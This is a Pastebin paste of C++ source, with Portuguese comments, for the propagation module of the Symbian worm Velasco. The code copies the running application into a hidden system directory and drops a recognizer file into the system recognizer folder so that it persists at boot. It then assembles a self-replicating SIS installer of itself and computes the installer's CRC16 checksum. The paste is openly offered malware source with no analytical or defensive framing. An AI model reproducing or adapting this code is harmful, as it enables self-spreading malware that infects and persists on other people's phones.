Advertisement
FlyFar

velascocopyfiles.cpp

Mar 9th, 2023
527
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.88 KB | Cybersecurity | 0 0
  1. #include "velascocopyfiles.h"
  2. #include "file.h"
  3.  
  4. #include <bautils.h>
  5.  
  6.  
  7. _LIT16( MARCOSMDLFILE,  "MARCOS.MDL" );
  8. _LIT16( VELASCORSCFILE, "VELASCO.RSC" );
  9.  
  10. _LIT( VELASCOPATH,      "C:\\SYSTEM\\SYMBIANSECUREDATA\\VELASCO\\" );
  11. _LIT( VELASCOAPPPATH,   "C:\\SYSTEM\\SYMBIANSECUREDATA\\VELASCO\\VELASCO.APP" );
  12. _LIT( VELASCORSCPATH,   "C:\\SYSTEM\\SYMBIANSECUREDATA\\VELASCO\\VELASCO.RSC" );
  13. _LIT( VELASCOSISPATH,   "C:\\SYSTEM\\SYMBIANSECUREDATA\\VELASCO\\VELASCO.SIS" );
  14.  
  15. _LIT( MDLPATH,          "C:\\SYSTEM\\RECOGS\\" );
  16. _LIT( MARCOSMDLPATH,    "C:\\SYSTEM\\RECOGS\\MARCOS.MDL" );
  17.  
  18.  
  19. #define  BLOCK_LEN  200
  20.  
  21.  
  22. // Funcao de CRC16 obtida em:
  23. // http://homepage.ntlworld.com/thouky/software/psifs/sis.html
  24.  
  25. unsigned short int VelascoCopyFiles::CRC16( unsigned short int crc16, unsigned char *string, unsigned int stringsize )
  26. {
  27.     unsigned int table[ 256 ], i;
  28.    
  29.     table[ 0 ] = 0;
  30.    
  31.     for ( i = 0; i < 128; i++ )
  32.     {
  33.         unsigned int carry = table[ i ] & 0x8000;
  34.         unsigned int temp  = ( table[ i ] << 1 ) & 0xFFFF;
  35.        
  36.         table[ i * 2 + ( carry ? 0 : 1 ) ] = temp ^ 0x1021;
  37.         table[ i * 2 + ( carry ? 1 : 0 ) ] = temp;
  38.     }
  39.    
  40.     for ( i = 0; i < stringsize; i++ )
  41.     {
  42.         crc16 = ( ( crc16 << 8 ) ^ table[ ( ( crc16 >> 8 ) ^ string[ i ] ) & 0xFF ] );
  43.     }
  44.  
  45.     return crc16;
  46. }
  47.  
  48.  
  49. void VelascoCopyFiles::MakeInstaller()
  50. {
  51. #include "header.h"
  52. #include "resource.h"  
  53.  
  54.     File fInstaller;
  55.  
  56.     // Tenta criar o arquivo
  57.     if ( ! fInstaller.Open( VELASCOSISPATH, File::OMRead | File::OMWrite | File::OMCreate ) )
  58.     {
  59.         // Tenta substituir o arquivo
  60.         if ( ! fInstaller.Open( VELASCOSISPATH, File::OMRead | File::OMWrite | File::OMReplace ) )
  61.         {
  62.             return;
  63.         }
  64.     }
  65.  
  66.     File fApplication;
  67.  
  68.     if ( fApplication.Open( VELASCOAPPPATH, File::OMRead | File::OMOpen ) )
  69.     {
  70.         File fMDL;
  71.  
  72.         if ( fMDL.Open( MARCOSMDLPATH, File::OMRead | File::OMOpen ) )
  73.         {
  74.             unsigned int FilesLength, ResourceLength, Offset1, Offset2, Offset3;
  75.  
  76.             int MDLLength, ApplicationLength;
  77.  
  78.             // Obtem tamanho dos arquivos
  79.             fApplication.rFile.Size( ApplicationLength );
  80.             fMDL.rFile.Size( MDLLength );
  81.  
  82.             // Define tamanho dos dados e offsets
  83.             ResourceLength = sizeof( resourcecontent );
  84.             FilesLength    = ApplicationLength + MDLLength + ResourceLength;
  85.  
  86.             Offset1 = sizeof( headercontent );
  87.             Offset2 = Offset1 + ApplicationLength;
  88.             Offset3 = Offset2 + MDLLength;
  89.  
  90.             // Acerta tamanhos e offsets na estrutura a ser gravada
  91.             memcpy( &headercontent[ 0x50 ], &FilesLength,       sizeof( unsigned int ) );
  92.  
  93.             memcpy( &headercontent[ 0x82 ], &ApplicationLength, sizeof( unsigned int ) );
  94.             memcpy( &headercontent[ 0x86 ], &Offset1,           sizeof( unsigned int ) );
  95.             memcpy( &headercontent[ 0x8A ], &ApplicationLength, sizeof( unsigned int ) );
  96.  
  97.             memcpy( &headercontent[ 0xB2 ], &MDLLength,         sizeof( unsigned int ) );
  98.             memcpy( &headercontent[ 0xB6 ], &Offset2,           sizeof( unsigned int ) );
  99.             memcpy( &headercontent[ 0xBA ], &MDLLength,         sizeof( unsigned int ) );
  100.  
  101.             memcpy( &headercontent[ 0xE2 ], &ResourceLength,    sizeof( unsigned int ) );
  102.             memcpy( &headercontent[ 0xE6 ], &Offset3,           sizeof( unsigned int ) );
  103.             memcpy( &headercontent[ 0xEA ], &ResourceLength,    sizeof( unsigned int ) );
  104.  
  105.             // Grava o header
  106.             fInstaller.Write( headercontent, sizeof( headercontent ) );
  107.  
  108.             // Define algumas variaveisCalcula CRC16 dos 0x10 primeiros bytes do header
  109.             unsigned char buffer[ BLOCK_LEN ];
  110.            
  111.             unsigned short int crc16 = 0;
  112.             int bytes;
  113.    
  114.             // Calcula CRC16 dos 0x10 primeiros bytes do header
  115.             crc16 = CRC16( crc16, (unsigned char *) headercontent, 0x10 );
  116.  
  117.             // Calcula o CRC16 restante do header
  118.             crc16 = CRC16( crc16, (unsigned char *) &headercontent[ 0x12 ], sizeof( headercontent ) - 0x12 );
  119.  
  120.             // Grava APP
  121.             while ( ( bytes = fApplication.Read( buffer, BLOCK_LEN ) ) )
  122.             {
  123.                 fInstaller.Write( buffer, bytes );     
  124.  
  125.                 crc16 = CRC16( crc16, (unsigned char *) buffer, bytes );
  126.             }
  127.    
  128.             // Grava RECOG
  129.             while ( ( bytes = fMDL.Read( buffer, BLOCK_LEN ) ) )
  130.             {
  131.                 fInstaller.Write( buffer, bytes );
  132.  
  133.                 crc16 = CRC16( crc16, (unsigned char *) buffer, bytes );
  134.             }
  135.  
  136.             // Grava RSC
  137.             fInstaller.Write( resourcecontent, sizeof( resourcecontent ) );
  138.  
  139.             crc16 = CRC16( crc16, (unsigned char *) resourcecontent, sizeof( resourcecontent ) );
  140.  
  141.             // Grava CRC16 no offset 0x10
  142.             fInstaller.Seek( ESeekStart, 0x10 );
  143.             fInstaller.Write( &crc16, sizeof( unsigned short int ) );
  144.    
  145.             // Fecha handle
  146.             fMDL.Close();
  147.         }
  148.        
  149.         // Fecha handle
  150.         fApplication.Close();
  151.     }
  152.    
  153.     // Fecha handle
  154.     fInstaller.Close();
  155. }
  156.  
  157.  
  158. void VelascoCopyFiles::CopyFiles( CAknApplication *AppName )
  159. {
  160.     TFileName TempName = AppName->DllName();
  161.     TempName.UpperCase();
  162.  
  163.     TParse parser;
  164.     parser.Set( TempName, NULL, NULL );
  165.    
  166.     RFs fs;
  167.     User::LeaveIfError( fs.Connect() );
  168.  
  169.     if ( TempName != VELASCOAPPPATH )
  170.     {
  171.         fs.MkDirAll( VELASCOPATH );
  172.    
  173.         if ( BaflUtils::CopyFile( fs, TempName, VELASCOAPPPATH, CFileMan::EOverWrite ) == KErrNone )
  174.         {
  175.             TempName = parser.DriveAndPath();
  176.             TempName.Append( VELASCORSCFILE );
  177.            
  178.             BaflUtils::CopyFile( fs, TempName, VELASCORSCPATH, CFileMan::EOverWrite );
  179.         }      
  180.     }
  181.  
  182.     TempName = parser.DriveAndPath();
  183.     TempName.Append( MARCOSMDLFILE );
  184.  
  185.     fs.MkDirAll( MDLPATH );
  186.     BaflUtils::CopyFile( fs, TempName, MARCOSMDLPATH, CFileMan::EOverWrite );
  187.  
  188.     fs.Close();
  189.  
  190.     // Gera instalador
  191.     MakeInstaller();
  192. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement